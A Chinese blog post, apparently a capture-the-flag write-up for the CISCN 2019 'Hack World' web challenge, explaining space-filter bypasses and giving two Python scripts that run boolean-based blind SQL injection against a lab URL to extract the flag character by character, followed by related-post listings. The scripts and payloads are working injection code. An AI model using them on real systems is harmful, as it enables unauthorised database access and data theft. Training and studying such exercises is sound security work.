[CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)
记一道布尔注入的题,存在过滤字符。
从题目看应该是一道注入题。提示存在flag表flag列。
输入1和2的返回结果不一样,可能是布尔注入。
简单用万能密码尝试了一下。提示SQL Injection Checked。显然是存在过滤的。FUZZ测试:

好像并没有过滤掉很多的东西。ascii和substr都存在,但是空格被过滤了。
绕过空格的方法:
1、注释绕过
/**/
/*!*/
2、括号绕过
3、HTML编码绕过
常用的URL编码中,会把空格编码成%20,所以通过浏览器发包,进行的URL编码中,空格被编码成%20,而这是属于HTML编码中从 %00 到 %8F的范围,但在HTML编码中,还有一个编码可以取代空格,也就是%a0。
我们这里因为没过滤掉括号我们自己括号绕过空格。
这里应用一下大佬的脚本https://www.cnblogs.com/20175211lyz/p/11435298.html
import string
import requests
import string
url = "http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
result = ""
right = "Hello"
for i in range(1,50):
high = 127
low = 32
mid = (low+high) // 2 #找中间数
while high>low:
payload = "if(ascii(substr((select(flag)from(flag)),%s,1))>%s,1,2)"%(i,mid)
date = {"id":payload}
repos = requests.post(url,data=date)
if right in repos.text:
low = mid + 1 #假如返回的字符串中有Hello,即flag的某个字符的ascii码比中间数大,我们要增大中间数
else:
high = mid #假如返回的字符串中没有Hello,即flag的某个字符的ascii码比中间数小,我们要把最大数调整到原来的中间数位置
mid = (low+high) //2
result += chr(int(mid)) #中间数不一定是整数,用int转成整数
print(result)
下面是自己写的。如果有大师傅看到这篇文章,指点一下小弟,下面是自己写的脚本能跑,但是有点问题。
flag{eb683c48e1a849f79d3ff65e693f9551} //自己跑出来的flag
flag{eb683c48-e1a8-49f7-9d3f-f65e693f9551} //别人脚本跑出来的flag,这个是正确的
自己写的脚本跑不出“-”这个字符。其他的字母和数字是一样的。
import requests
import string
url="http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
dic = string.digits+string.ascii_letters+"!@#$%^&*()_=+{}-"
result =""
for i in range(1,60):
for each in dic:
payload = "if((ascii(substr((select(flag)from(flag)),%s,1))=ascii('%s')),1,2)"%(i,each)
print(payload)
date = {"id":payload}
rep = requests.post(url=url,data=date)
if "Hello" in rep.text:
print(each)
result += each
print(result)
break
print(result)
[CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)的更多相关文章
- 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World
目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...
- BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World
id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...
- BUUOJ [CISCN2019 华北赛区 Day2 Web1]Hack World
补一下这道题,顺便发篇博客 不知道今年国赛是什么时候,菜鸡还是来刷刷题好了 0X01 考点 SQL注入.盲注.数字型 0X02自己尝试 尝试输入1 赵师傅需要女朋友吗???随便都能有好吧 输入2 ?? ...
- [CISCN2019 华北赛区 Day2 Web1]Hack World
知识点:题目已经告知列名和表明为flag,接下来利用ascii和substr函数即可进行bool盲注 eg: id=(ascii(substr((select(flag)from(flag)),1,1 ...
- 刷题[CISCN2019 华北赛区 Day2 Web1]Hack World
解题思路 打开发现是很简单的页面,告诉了表名和列名,只需知道字段即可 尝试一下,输入1,2都有内容,后面无内容.输入1'让他报错,发现返回bool(false) 大概思路就是布尔型注入了,通过不断返回 ...
- [CISCN2019 华北赛区 Day2 Web1]Hack World 1详解
打开题目, 我们开始尝试注入, 输入0回显Error Occured When Fetch Result. 输入1回显Hello, glzjin wants a girlfriend. 输入2回显Do ...
- 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...
- PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox
PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...
- BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox
步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...
随机推荐
- Kubernetes之无头服务(headless)
己经看到如何使用服务来提供稳定的ip地址,从而允许客户端连接到支持服务的每个pod (或其他端点).到服务的每个连接都被转发到一个随机选择的pod上.但是如果客户端需要链接到所有的pod呢?如果后端的 ...
- 7、openstack安装
1.openstack配置架构图: 2.主机设置: (1)两台主机名分别是controller和compute1: hostnamectl set-hostname controller hostna ...
- Spring源码编译一次性通过&遇到的坑解决方法
前言 spring源码本地编译,按网上的博客参考资料的操作步骤,总是会出现各种莫名其妙的错误.根据错误信息找解决方案,但在自己的环境下又总是编译不过去.结合参加培训学习Jack老师提供的方法,自己多种 ...
- JNI小记
本文参考<较详细的介绍JNI>一文,并添加了一些方法,代码已经过测试,留待日后工作使用.关于JNI的HelloWorld的例子,就不赘述了. java代码: 1 package com.c ...
- linux学习之路第七天(压缩和解压类指令详解)
压缩和解压类 1.gzip/gunzip 指令 gzip 指令用于压缩文件, gunzip用于解压的 基本语法 gzip 文件 (功能描述:压缩文件,指令将文件压缩成*.gz文件) gunzip 文件 ...
- XCTF_MFC逆向
讲道理这题有点脑洞,也可能我太菜了,首先对mfc就不太熟悉,不知道是个啥玩意,只能边看大佬的wp百度边做了,之后要恶补一下mfc的知识了. 题目一开始说flag在控件中,看到大佬都是用Mfcspy来找 ...
- Java | 标识符 & 关键字
标识符是什么? 标识符 标识符是指在程序中,我们自己定义的内容.比如类的名字.方法的名字和变量的名字等等,都是标识符.在我们写的第一个程序当中,我们给类起名叫做Hello 也叫做标识符. 命名规则 标 ...
- linux挂载光驱
挂载光驱到linux中.linux的镜像盘中有安装oracle的所有的软件包,可以会用yum一键安装. 1.此时的linux的界面显示光驱图标 2.挂载 因为光盘里面的文件是只读模式的,yum安装时不 ...
- Luogu P4313 文理分科
link 最小割 双倍经验 这道题运用了最小割最常用的一种用法:集合划分. 因为源汇最小割即就是将源汇划分到不同的集合,那么最简单的应用就是最小代价划分集合了. 本题中,题意是将 \(n\cdot m ...
- 「AGC034E」 Complete Compress
「AGC034E」 Complete Compress 显然可以枚举根. 然后把某两棵棋子同时往深度浅的方向提,即对不存在祖先关系的两个棋子进行操作. 如果能到达那么就更新答案. 问题转化为如何判定能 ...